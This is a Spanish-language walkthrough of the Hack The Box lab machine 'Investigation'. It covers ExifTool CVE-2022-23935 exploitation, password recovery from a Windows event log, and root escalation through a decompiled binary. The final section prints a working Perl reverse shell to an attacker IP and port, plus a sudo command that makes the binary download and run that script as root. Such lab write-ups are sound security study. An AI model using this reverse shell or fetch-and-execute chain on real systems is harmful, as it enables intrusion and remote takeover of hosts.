🏁Investigation

Datos
Notas

Nombre de la máquina:

IP de la máquina:

10.10.11.197

Sistema simulado:

Ubuntu

Servicio vulnerado:

ExifTool

1. Enumeración y descubrimiento

Comenzamos el ejercicio lanzando un nmap a la IP de la máquina para comenzar a descubrir los puertos y servicios que hay abiertos.

nmap -sCV 10.10.11.197 -O -p-

En este punto tenemos que ver cual es la página web de la máquina, para ello, como hemos visto que viene configurado en el puerto 80 en la petición de nmap usaremos el dominio eForenzics.htb y lo configuraremos en el fichero /etc/hosts . En este punto podremos ver la página web desplegada.

Observamos que dentro de la web existe un "servicio gratuito" que simula un analizador forense de imágenes. Realizamos una prueba.

2. POC y explotación de Exiftool

En este punto nos damos cuentas de que la página ejecuta Exiftool y nos devuelve un reporte en formato TXT por pantalla, por lo que debemos empezar a buscar una forma de vulnerar este Exiftool 12.37 ya que es una entrada potencial. Tras una investigación encontramos el CVE 2022-23935 el cual parece ser potencialmente explotable en esta máquina. En el siguiente Github podemos encontrar una prueba de Concepto (POC) de la explotación de la vulnerabilidad.

Por otro lado hemos encontrado el exploit de 0xFTW el cual usaremos en nuestro caso para intentar ejecutar la vulnerabilidad. Seguimos los pasos de instalación de descarga y preparación del exploit como viene indicado, aunque encontramos un par de repositorios con exploits ya montados que no conseguimos hacer funcionar correctamente.

La siguiente prueba de concepto es muy interesante y sencilla para entender el funcionamiento.

Aunque nosotros utilizaremos el siguiente generador de la shell en un fichero que subiremos mediante esta herrmienta.

Solo debemos de seguir los pasos y ejecutar la herramienta apuntando hacia una IP y puerto que queramos levantar. Esto nso generará un fichero que deberemos de subir a la web y que automáticamente nos dará acceso con www-data.

3. Escalada a usuarios del sistema

En este punto y ya con acceso a ww-data deberemos de intentar escalar al usuario "smorton" el cual entendemos que tendrá mayores privilegios que nosotros.

Investigando los diferentes directorios que tenemos activos en la máquina descubrimos que existe una carpeta interesante con archivos que nos llaman la atención, entre ellos un correo electrónico.

Debemos de descargarnos este archivo en nuestro ordenador para desde ahí analizarlo con mayor facilidad. Una vez lo tenemos podemos leerlo mediante Outlock o un visualizador de este tipo de archivos.

Al ver el contenido del archivo podemos visualizar el siguiente contenido.

Como vemos existe un archivo adjunto el cual no podemos ver, pero mediante Ecryptomatic conseguimos descargarlo.

El fichero que obtenemos es security.evtx lel cual es un fichero extraido dle visor de eventos de windows por lo que necesitaremos una herramienta para visualizarlo.

Para exportar el archivo security.evtx usaremos

pip install python-evtx

Una vez instalado evtx ejecutaremos la conversión del archivo.

python evtx_dump.py /home/kali/Escritorio/security.evtx > /home/kali/Escritorio/1.evtxdump

En ese momento ya podremos ver en XML el archivo y utilizaremos un editor de texto para observar en él e intentar encontrar información relevante.

Revisando en los logs encontraremos una pass la cual utilziaremos para loguearnos por ssh al usuario smorton consiguiendo acceso y visualizando la flag del usuario.

4. Escalada de privilegios

En este punto nos encontramos con el usuario smorton y debemos de realizar una investigación dentro de los directorios para intentar llegar a realizar la escalada.

Al empezar nos llama la atención el fichero /usr/bin/binary el cual podremos utilizar.

Nos enviamos el binario a nuestro ordenador para analizarlo

En este punto decompilaremos el binario para analizarlo y ver sus partes. Podemos usar para ello Dogbolt.

nt32_t main(int32_t argc, char** argv, char** envp)
{
    if (argc != 3)
    {
        puts("Exiting... ");
        exit(0);
        /* no return */
    }
    if (getuid() != 0)
    {
        puts("Exiting... ");
        exit(0);
        /* no return */
    }
    if (strcmp(argv[2], "lDnxUysaQn") != 0)
    {
        puts("Exiting... ");
        exit(0);
        /* no return */
    }
    puts("Running... ");
    FILE* rax_8 = fopen(argv[2], &data_2027);
    int64_t rax_9 = curl_easy_init();
    int32_t var_40 = 0x2712;
    curl_easy_setopt(rax_9, 0x2712, argv[1], 0x2712);
    int32_t var_3c = 0x2711;
    curl_easy_setopt(rax_9, 0x2711, rax_8, 0x2711);
    int32_t var_38 = 0x2d;
    curl_easy_setopt(rax_9, 0x2d, 1, 0x2d);
    if (curl_easy_perform(rax_9) != 0)
    {
        puts("Exiting... ");
        exit(0);
        /* no return */
    }
    int64_t rax_25 = snprintf(nullptr, 0, &data_202a, argv[2]);
    char* rax_28 = malloc((rax_25 + 1));
    snprintf(rax_28, (rax_25 + 1), &data_202a, argv[2]);
    int64_t rax_37 = snprintf(nullptr, 0, "perl ./%s", rax_28);
    char* rax_40 = malloc((rax_37 + 1));
    snprintf(rax_40, (rax_37 + 1), "perl ./%s", rax_28);
    fclose(rax_8);
    curl_easy_cleanup(rax_9);
    setuid(0);
    system(rax_40);
    system("rm -f ./lDnxUysaQn");
    return 0;
}

Analizando el código entendemos que existen 4 pasos:

  1. Se comprueba si se puede ejecutar o no.

  2. Se comprueba si el usuario puede ejecutar le código como root o por el contrario no.

  3. Comprueba si el argumento es "lDnxUysaQn"

  4. Se abre un fichero con curl el cual ejecuta el segundo parámetro con perl.

Con toda esta información vamos a preparar una estrategia para llegar a ser root en la máquina.

  1. Crearemos un archivo de perl con una revershell de Kali en nuestra máquina.

use Socket;
$i="[IP]";
$p=[PORT];
socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
if(connect(S,sockaddr_in($p,inet_aton($i)))){
 open(STDIN,">&S");open(STDOUT,">&S");
 open(STDERR,">&S");exec("/bin/bash -i");
};
  1. Levantaremos un servidor de python en el mismo directorio que tengamos el archivo con la shell.

python -m http.server 80 
  1. Ejecutaremos en la máquina con el usuario smorton la siguiente ruta aprovechándonos del análisis sobre el código Perl realizado.

sudo /usr/bin/binary [IP]/shell.pl lDnxUysaQn

Al ejecutarlo conseguiremos acceder como root a la máquina, acabando la máquina y obteniendo la flag de root.

Si te he ayudado sígueme y apóyame en Hack The Box

Última actualización

¿Te fue útil?